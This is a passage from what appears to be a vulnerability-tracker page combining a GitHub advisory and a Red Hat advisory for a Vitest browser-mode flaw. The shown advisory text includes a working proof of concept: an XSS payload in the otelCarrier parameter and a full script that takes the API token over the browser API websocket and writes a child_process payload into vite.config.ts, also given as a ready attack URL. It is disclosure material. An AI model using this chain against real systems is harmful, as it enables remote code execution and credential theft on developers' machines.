JavaScript source:\n\n```js\notelCarrier: (alert(\"xss via otelCarrier\"),null),\n```\n\nLoading the page triggers the alert, confirming reflected script execution in the Vitest browser runner origin.\n\n### RCE via config write\n\nA full local RCE proof can use the same injection point to recover `window.VITEST_API_TOKEN`, connect to `/__vitest_browser_api__`, and call `triggerCommand(\"writeFile\", ...)` to modify the local `vite.config.ts`.\n\nThe PoC preserves the original config and prepends a Node-side payload. When Vitest/Vite reloads the changed config, the payload executes in Node.\n\nThis PoC imports `flatted` from a CDN to keep the payload compact.\n\n\u003cdetails\u003e\u003csummary\u003eExample script and encoded URL\u003c/summary\u003e\n\n```ts\n(setTimeout(async()=\u003e{\n  const s = window.__vitest_browser_runner__\n  const { stringify, parse } = await import(\u0027https://cdn.jsdelivr.net/npm/flatted@3.3.2/+esm\u0027)\n  const p = location.protocol === \u0027https:\u0027 ? \u0027wss:\u0027 : \u0027ws:\u0027\n  const q = \u0027type=orchestrator\u0026rpcId=poc-\u0027 + Date.now()\n    + \u0027\u0026sessionId=\u0027 + encodeURIComponent(s.sessionId)\n    + \u0027\u0026projectName=\u0027 + encodeURIComponent(s.config.name || \u0027\u0027)\n    + \u0027\u0026method=\u0027 + encodeURIComponent(s.method)\n    + \u0027\u0026token=\u0027 + encodeURIComponent(window.VITEST_API_TOKEN || \u00270\u0027)\n\n  const ws = new WebSocket(p + \u0027//\u0027 + location.host + \u0027/__vitest_browser_api__?\u0027 + q)\n  const pending = new Map()\n\n  function call(m, a = []) {\n    const i = crypto.randomUUID()\n    ws.send(stringify({ t: \u0027q\u0027, i, m, a }))\n    return new Promise((resolve, reject) =\u003e {\n      pending.set(i, { resolve, reject })\n    })\n  }\n\n  ws.onmessage = (event) =\u003e {\n    const message = parse(event.data)\n    const promise = pending.get(message.i)\n    if (!promise) {\n      return\n    }\n    pending.delete(message.i)\n    if (message.e) {\n      promise.reject(message.e)\n    }\n    else {\n      promise.resolve(message.r)\n    }\n  }\n\n  ws.onopen = async () =\u003e {\n    const configPath = \u0027vite.config.ts\u0027\n    const original = await call(\u0027triggerCommand\u0027, [\n      s.sessionId,\n      \u0027readFile\u0027,\n      configPath,\n      [configPath, \u0027utf-8\u0027],\n    ])\n\n    const injected = `\nimport(\"node:child_process\").then(lib =\u003e {\n  lib.execSync(\u0027touch ./rce-poc\u0027)\n  console.log(\u0027RCE success\u0027)\n})\n`\n    await call(\u0027triggerCommand\u0027, [\n      s.sessionId,\n      \u0027writeFile\u0027,\n      configPath,\n      [configPath, injected + original],\n    ])\n\n    alert(\u0027POC: vite.config.ts modified to trigger RCE on config reload\u0027)\n  }\n\n  ws.onerror = () =\u003e alert(\u0027POC: browser api websocket failed\u0027)\n},0),null)\n```\n\nThe following URL is the same script encoded as the `otelCarrier` query value:\n\n```txt\nhttp://localhost:63315/__vitest_test__/?otelCarrier=(setTimeout(async()%3D%3E%7B%0A%20%20const%20s%20%3D%20window.__vitest_browser_runner__%0A%20%20const%20%7B%20stringify%2C%20parse%20%7D%20%3D%20await%20import(\u0027https%3A%2F%2Fcdn.jsdelivr.net%2Fnpm%2Fflatted%403.3.2%2F%2Besm\u0027)%0A%20%20const%20p%20%3D%20location.protocol%20%3D%3D%3D%20\u0027https%3A\u0027%20%3F%20\u0027wss%3A\u0027%20%3A%20\u0027ws%3A\u0027%0A%20%20const%20q%20%3D%20\u0027type%3Dorchestrator%26rpcId%3Dpoc-\u0027%20%2B%20Date.now()%0A%20%20%20%20%2B%20\u0027%26sessionId%3D\u0027%20%2B%20encodeURIComponent(s.sessionId)%0A%20%20%20%20%2B%20\u0027%26projectName%3D\u0027%20%2B%20encodeURIComponent(s.config.name%20%7C%7C%20\u0027\u0027)%0A%20%20%20%20%2B%20\u0027%26method%3D\u0027%20%2B%20encodeURIComponent(s.method)%0A%20%20%20%20%2B%20\u0027%26token%3D\u0027%20%2B%20encodeURIComponent(window.VITEST_API_TOKEN%20%7C%7C%20\u00270\u0027)%0A%0A%20%20const%20ws%20%3D%20new%20WebSocket(p%20%2B%20\u0027%2F%2F\u0027%20%2B%20location.host%20%2B%20\u0027%2F__vitest_browser_api__%3F\u0027%20%2B%20q)%0A%20%20const%20pending%20%3D%20new%20Map()%0A%0A%20%20function%20call(m%2C%20a%20%3D%20%5B%5D)%20%7B%0A%20%20%20%20const%20i%20%3D%20crypto.randomUUID()%0A%20%20%20%20ws.send(stringify(%7B%20t%3A%20\u0027q\u0027%2C%20i%2C%20m%2C%20a%20%7D))%0A%20%20%20%20return%20new%20Promise((resolve%2C%20reject)%20%3D%3E%20%7B%0A%20%20%20%20%20%20pending.set(i%2C%20%7B%20resolve%2C%20reject%20%7D)%0A%20%20%20%20%7D)%0A%20%20%7D%0A%0A%20%20ws.onmessage%20%3D%20(event)%20%3D%3E%20%7B%0A%20%20%20%20const%20message%20%3D%20parse(event.data)%0A%20%20%20%20const%20promise%20%3D%20pending.get(message.i)%0A%20%20%20%20if%20(!promise)%20%7B%0A%20%20%20%20%20%20return%0A%20%20%20%20%7D%0A%20%20%20%20pending.delete(message.i)%0A%20%20%20%20if%20(message.e)%20%7B%0A%20%20%20%20%20%20promise.reject(message.e)%0A%20%20%20%20%7D%0A%20%20%20%20else%20%7B%0A%20%20%20%20%20%20promise.resolve(message.r)%0A%20%20%20%20%7D%0A%20%20%7D%0A%0A%20%20ws.onopen%20%3D%20async%20()%20%3D%3E%20%7B%0A%20%20%20%20const%20configPath%20%3D%20\u0027vite.config.ts\u0027%0A%20%20%20%20const%20original%20%3D%20await%20call(\u0027triggerCommand\u0027%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20\u0027readFile\u0027%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20\u0027utf-8\u0027%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20const%20injected%20%3D%20%60%0Aimport(%22node%3Achild_process%22).then(lib%20%3D%3E%20%7B%0A%20%20lib.execSync(\u0027touch%20.%2Frce-poc\u0027)%0A%20%20console.log(\u0027RCE%20success\u0027)%0A%7D)%0A%60%0A%20%20%20%20await%20call(\u0027triggerCommand\u0027%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20\u0027writeFile\u0027%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20injected%20%2B%20original%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20alert(\u0027POC%3A%20vite.config.ts%20modified%20to%20trigger%20RCE%20on%20config%20reload\u0027)%0A%20%20%7D%0A%0A%20%20ws.onerror%20%3D%20()%20%3D%3E%20alert(\u0027POC%3A%20browser%20api%20websocket%20failed\u0027)%0A%7D%2C0)%2Cnull)\n```\n\n\u003c/details\u003e\n\n---",
  "id": "GHSA-2h32-95rg-cppp",
  "modified": "2026-06-01T14:12:18Z",
  "published": "2026-06-01T14:12:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vitest-dev/vitest/security/advisories/GHSA-2h32-95rg-cppp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vitest-dev/vitest"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/client/public/esm-client-injector.js#L41"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/node/serverOrchestrator.ts#L48"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vitest browser mode serves unsanitized otelCarrier query parameter as inline script"
}

RHSA-2026:39058

Vulnerability from csaf_redhat - Published: 2026-07-13 23:42 - Updated: 2026-09-08 00:10

Summary

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Severity

Critical

Scope

2 vulnerabilities in this advisory, including CVE-2026-47428.

CVE-2026-47428

A flaw was found in Vitest, a testing framework. In Vitest Browser Mode, a remote attacker could craft a specific browser-runner URL that, when visited, would allow the execution of arbitrary JavaScript code within the Vitest server. This vulnerability could also lead to the recovery of the VITEST_API_TOKEN, potentially enabling unauthorized authenticated API calls and further compromise of the system.

8.3 (High)


                
                  CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Fixed: 3 products

https://access.redhat.com/errata/RHSA-2026:39058

Open the full advisory

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-47428 (GCVE-0-2026-47428)

FKIE_CVE-2026-47428

GHSA-2H32-95RG-CPPP

Summary

Impact

Proof of Concept

XSS

RCE via config write

RHSA-2026:39058

Tags

Sightings

Nomenclature

Related by attack behaviour